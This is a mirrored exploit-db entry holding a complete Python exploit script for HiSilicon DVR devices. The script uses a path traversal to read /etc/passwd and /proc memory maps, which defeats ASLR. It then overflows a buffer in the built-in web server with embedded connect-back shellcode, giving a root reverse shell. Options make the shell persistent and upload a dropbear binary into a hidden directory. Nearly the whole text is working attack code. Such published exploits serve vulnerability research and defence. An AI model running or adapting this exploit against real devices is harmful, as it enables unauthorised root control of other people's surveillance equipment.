HiSilicon DVR Devices – Remote Code Execution

  • 作者: Istvan Toth
    日期: 2017-09-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44004/
  • #!/usr/bin/env python2
    #
    # pwn hisilicon dvr web service
    #
    
    from pwn import *
    from time import sleep
    import re
    import argparse
    import os
    
    parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices')
    parser.add_argument('--rhost', help='target host', required=True)
    parser.add_argument('--rport', help='target port', default=80)
    parser.add_argument('--lhost', help='connectback ip', required=True)
    parser.add_argument('--lport', help='connectback port', default=31337)
    parser.add_argument('--bhost', help='listen ip to bind (default: connectback)')
    parser.add_argument('--bport', help='listen port to bind (default: connectback)')
    parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true')
    parser.add_argument('-i', '--interactive', help='select stack memory region interactively (rather than using autodetection)', action='store_true')
    parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true')
    parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true')
    parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8)
    parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia')
    
    args = parser.parse_args()
    
    target_host = args.rhost
    target_port = int(args.rport)
    
    sofia_cmdline = args.cmdline
    
    if args.interactive:
    getleak_interactive = True
    else:
    getleak_interactive = False
    
    if args.persistent:
    shell_persistent = True
    else:
    shell_persistent = False
    
    if args.upload:
    shell_upload = True
    else:
    shell_upload = False
    
    connectback_host = args.lhost
    connectback_port = int(args.lport)
    
    if args.bhost:
    listen_host = args.bhost
    else:
    listen_host = connectback_host
    if args.bport:
    listen_port = int(args.bport)
    else:
    listen_port = connectback_port
    
    
    """
    vuln1: bof in httpd
    -------------------
    buffer overflow in builtin webserver binary `Sofia`
    which can be exploited to run shellcode (as root) on the device.
    
    PoC payload to cause a segfault:
    payload = "GET " + "a"*299 + "xxxx" + " HTTP"
    
    note, that in "xxxx" we can control pc register (program flow)!
    
    there is no nx enabled, so executing shellcode in place of "a"*299
    is possible. however, stack address leak is needed to defeat aslr.
    
    vuln2: path traversal vuln in httpd
    -----------------------------------
    builtin webserver has a directory path traversal vulnerability
    which can be exploited to leak arbitrary files.
    note, that the webserver binary `Sofia` is running as root,
    so exploiting this arbitrary file can be read from device fs.
    
    PoC request "GET ../../etc/passwd HTTP" reads file "/etc/passwd".
    Furthermore, dir listing is enabled as well.
    
    by exploiting vuln2 we can defeat aslr needed to exploit vuln1.
    namely, filesystem at /proc contains lots of information
    about running processes, e.g. contains memory mappings:
    request "GET ../../proc/[pid]/maps HTTP" reads memory
    mapping of process with pid [pid]. obverving the memory
    mapping patterns usually enough to defeat aslr (offset
    from mem map base is the same, even in different versions).
    """
    
    # get pid of running dvr binary '/var/Sofia'
    def findpid():
    with log.progress('getting pidlist') as logp:
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../proc HTTP')
    pids = []
    for line in r.recvall().splitlines():
    res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line)
    if res:
    pids.append(int(res.group(1)))
    r.close()
    context.log_level = c
    logp.success('found %d processes' % len(pids))
    
    with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp:
    pid_sofia = None
    pids.sort(reverse=True)
    for pid in pids:
    logp.status(str(pid))
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../proc/%d/cmdline HTTP' % pid)
    resp = r.recvall().splitlines()
    r.close()
    context.log_level = c
    if sofia_cmdline + '\x00' == resp[-1]:
    pid_sofia = pid
    logp.success(str(pid_sofia))
    break
    if not pid_sofia:
    logp.failure('did not found')
    
    return pid_sofia
    
    def getmodelnumber():
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../mnt/custom/ProductDefinition HTTP')
    for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines():
    if "Hardware" in l:
    modelnumber = l.split(":")[1].split('"')[1]
    r.close()
    context.log_level = c
    return modelnumber
    
    def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
    if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
    return (t+3)
    return (-1)
    
    # getting stack section base address
    # 'k' defines the section which contains the stack
    def getleak(pid, interactive):
    with log.progress("getting stack section base") as logp:
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../proc/%d/smaps HTTP' % pid)
    smaps = []
    memStart = False
    for line in r.recvall().splitlines():
    if memStart:
    t += (int(line.split()[1]),)
    i += 1
    #if i >= 14:
    if i >= 7:
    smaps.append((memStart, t))
    memStart = False
    if 'rwxp' in line:
    memStart = int(line.split('-')[0], 16)
    i = 0
    t = ()
    guess = guessregion(smaps)
    if guess < 0 or interactive:
    j = 0
    for i in smaps:
    print (j, hex(i[0]), i[1:])
    j += 1
    k = int(raw_input('enter stack region id (guessed value = %d): ' % guess))
    else:
    k = guess
    leak = smaps[k][0]
    r.close()
    context.log_level = c
    logp.success(hex(leak))
    return leak
    
    # connectback shellcode
    # badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26
    def shellcode(lhost, lport):
    badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26]
    badchars = map(chr, badchars)
    
    xscode= "01108fe211ff"
    xscode += "2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223"
    xscode += "0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4"
    xscode += "69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858"
    xscode += "ffffc046efbeadde"
    
    h = lambda x: hex(int(x))[2:]
    h2 = lambda x: h(x).zfill(2)
    xscode = xscode[:164] + h(lport+0x100).zfill(4) + ''.join(map(h2, lhost.split('.'))) + xscode[176:]
    xscode = xscode.decode('hex')
    for badchar in badchars:
    if badchar in xscode:
    raise NameError('badchar %s in shellcode!' % hex(ord(badchar)))
    return xscode
    
    def restart_dvrapp(c):
    with log.progress('restarting dvr application') as logp:
    logp.status('looking up dvrhelper process')
    c.sendline('ps')
    cmdline = ''
    while not 'dvrHelper' in cmdline:
    cmdline = c.recvline()
    cmdline = cmdline.split()
    while not 'ps' in c.recvline():
    pass
    sleep(1)
    logp.status('killing dvrhelper')
    c.sendline('kill %s' % cmdline[0])
    sleep(1)
    cmdline_dvrhelper = ' '.join(cmdline[4:])
    logp.status('starting dvrhelper: %s' % cmdline_dvrhelper)
    c.sendline(cmdline_dvrhelper + ' 2>/dev/null &')
    sleep(1)
    c.recvuntil(sofia_cmdline)
    c.recvline()
    
    def upload_tools(c):
    with log.progress('uploading tools to /var/.tools') as logp:
    logp.status('creating dir')
    c.sendline('rm -fr /var/.tools')
    sleep(1)
    c.sendline('mkdir /var/.tools')
    sleep(1)
    tools = ['dropbear']
    upload_blocksize = 1024
    for tool in tools:
    toolsize = os.path.getsize('./tools/%s' % tool)
    b = 0
    fp = open("./tools/%s" % tool, "rb")
    for chunk in iter(lambda: fp.read(upload_blocksize), ''):
    chunkhex = ''.join(['\\x'+chunk.encode('hex')[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)])
    c.sendline("echo -n -e '%s' >> /var/.tools/%s" % (chunkhex, tool))
    b += len(chunk)
    logp.status('%s: %d/%d' % (tool, b, toolsize))
    sleep(0.1)
    fp.close()
    c.sendline('chmod +x /var/.tools/%s' % tool)
    sleep(1)
    logp.success(' '.join(tools))
    
    log.info('target is %s:%d' % (target_host, target_port))
    
    if not args.nolisten:
    log.info('connectback on %s:%d' % (listen_host, listen_port))
    
    with log.progress("assembling shellcode") as logp:
    xscode = shellcode(connectback_host, connectback_port)
    logp.success("done. length is %d bytes" % len(xscode))
    
    with log.progress("identifying model number") as logp:
    modelnumber = getmodelnumber()
    logp.success(modelnumber)
    
    log.info('exploiting dir path traversal of web service to get leak addresses')
    stack_section_base = getleak(findpid(), getleak_interactive)
    stack_offset = args.offset
    stack_20 = stack_section_base + stack_offset + 20
    
    log.info('shellcode address is ' + hex(stack_20))
    
    payload= "GET "
    payload += xscode
    payload += "a" * (299 - len(xscode))
    payload += p32(stack_20)
    payload += " HTTP"
    
    log.info('exploiting buffer overflow in web service url path')
    log.info('remote shell should gained by connectback shellcode!')
    
    if not args.nolisten:
    l = listen(bindaddr=listen_host, port=listen_port, timeout=5)
    c = l.wait_for_connection()
    
    r = remote(target_host, target_port)
    r.sendline(payload)
    r.recvall(timeout=5)
    r.close()
    
    if not args.nolisten:
    if shell_persistent:
    restart_dvrapp(c)
    
    if shell_upload:
    upload_tools(c)
    
    c.interactive()